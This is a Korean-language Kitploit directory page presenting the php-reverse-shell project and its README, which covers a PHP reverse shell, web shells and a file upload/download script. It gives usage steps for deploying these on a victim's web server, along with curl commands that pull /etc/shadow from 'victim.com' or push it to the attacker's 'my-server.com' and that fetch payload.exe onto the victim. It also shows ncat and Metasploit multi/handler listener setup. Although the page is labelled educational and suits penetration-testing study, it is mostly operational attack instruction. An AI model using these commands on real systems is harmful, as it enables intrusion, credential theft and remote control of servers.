Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/ivan-sincek/php-reverse-shell
ExploitationWeb Application ExploitationPost-ExploitationPenetration TestingLearning & EducationRed TeamingRemote Access Tool
GitHubivan-sincek/php-reverse-shell

php-reverse-shell

Linux OS, macOS 및 Windows OS에서 작동하는 PHP 셸.

저장소 보기
5711605개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

PHP 리버스 셸

널리 쓰이는 PHP 리버스 셸 스크립트 pentestmonkey/php-reverse-shell을 살짝 새롭게 단장한 것입니다. 원저작자에게 감사를 표합니다!

/bin/sh를 사용하는 Linux OS 및 macOS와 cmd.exe를 사용하는 Windows OS에서 작동합니다. 스크립트가 기본 OS를 자동으로 감지합니다.

ncat과 multi/handler 모두에서 작동합니다.

다음 환경에서 테스트했습니다:

  • Kali Linux v2020.2(64비트)에서 PHP v7.3.19가 포함된 Linux용 XAMPP v7.3.19,
  • macOS Catalina v10.15.6(64비트)에서 PHP v7.4.10이 포함된 OS X용 XAMPP v7.4.10,
  • Windows 10 Enterprise OS(64비트)에서 PHP v7.4.3이 포함된 Windows용 XAMPP v7.4.3,
  • PHP v4.4.0이 포함된 Docker 이미지 nouphet/docker-php4,
  • PHP v5.2.17이 포함된 Docker 이미지 steeze/php52-nginx.

Windows OS의 프로세스 파이프는 비동기 작업을 지원하지 않으므로 stream_set_blocking(), stream_select(), feof()가 제대로 작동하지 않지만, 해결 방법을 찾았습니다.

교육 목적으로 제작되었습니다. 도움이 되길 바랍니다!

목차

  • 리버스 셸
  • 웹 셸
  • 파일 업로드/다운로드 스크립트
    • 사례 1: 스크립트를 피해자의 서버에 업로드
    • 사례 2: 스크립트를 자신의 서버에 업로드
  • 리스너 설정
  • 이미지

리버스 셸

/src/reverse/php_reverse_shell.php는 PHP v5.0.0 이상이 필요합니다.

/src/reverse/php_reverse_shell_older.php는 PHP v4.3.0 이상이 필요합니다.

필요에 따라 스크립트 내부의 IP 주소와 포트 번호를 변경하세요.

/src/reverse/php_reverse_shell.php를 서버의 웹 루트 디렉터리(예: XAMPP의 /opt/lampp/htdocs/)에 복사하거나 대상의 웹 서버에 업로드하세요.

선호하는 웹 브라우저로 해당 파일에 접속하세요.

웹 셸

HTTP POST 요청 기반의 간단한 PHP 웹 셸을 확인하세요.

HTTP GET 요청 기반의 간단한 PHP 웹 셸을 확인하세요. 명령어를 URL 인코딩해야 합니다.

HTTP GET 요청 기반의 간단한 PHP 웹 셸 v2를 확인하세요. 명령어를 URL 인코딩해야 합니다.

파일 업로드/다운로드 스크립트

파일 업로드는 HTTP POST 요청, 파일 다운로드는 HTTP GET 요청을 기반으로 하는 간단한 PHP 파일 업로드/다운로드 스크립트를 확인하세요.

파일을 다운로드할 때 파일 경로를 URL 인코딩해야 합니다.

서버 구성에 따라 HTTP GET 요청 매개변수를 통한 파일 다운로드가 항상 작동하지 않을 수 있습니다. 이 경우 스크립트에 파일 경로를 하드코딩해야 합니다.

사례 1: 스크립트를 피해자의 서버에 업로드

선호하는 웹 브라우저로 피해자의 웹 서버에 있는 스크립트에 접속하거나, PC에서 cURL을 사용하세요.

PC에서 서버의 웹 루트 디렉터리로 파일을 업로드합니다:

root@kitploit:~
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe

서버에서 PC로 파일을 다운로드합니다:

root@kitploit:~
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow

리버스 셸에서 초기 권한을 상승시켰다면, 이 스크립트는 셸과 동일한 권한을 갖지 못할 수 있습니다. 이 경우 특정 파일을 다운로드하려면 파일을 웹 루트 디렉터리에 복사하고 필요한 읽기 권한을 설정해야 할 수도 있습니다.

사례 2: 스크립트를 자신의 서버에 업로드

PHP 리버스 셸에서 다음 cURL 명령어를 실행하세요.

피해자의 PC에서 자신의 서버의 웹 루트 디렉터리로 파일을 업로드합니다:

root@kitploit:~
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow

자신의 서버의 웹 루트 디렉터리에서 피해자의 PC로 파일을 다운로드합니다:

root@kitploit:~
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe

curl -skL -X GET https://my-server.com/payload.exe -o payload.exe

리스너 설정

리스너를 설정하려면 Kali Linux에서 선호하는 콘솔을 열고 아래 예시 중 하나를 실행하세요.

ncat 리스너 설정:

root@kitploit:~
ncat -nvlp 9000

multi/handler 리스너 설정:

root@kitploit:~
msfconsole -q

use exploit/multi/handler

set PAYLOAD windows/shell_reverse_tcp

set LHOST 192.168.8.185

set LPORT 9000

exploit

이미지

Ncat

그림 1 - Ncat

스크립트 덤프

그림 2 - 스크립트 덤프

도구 다운로드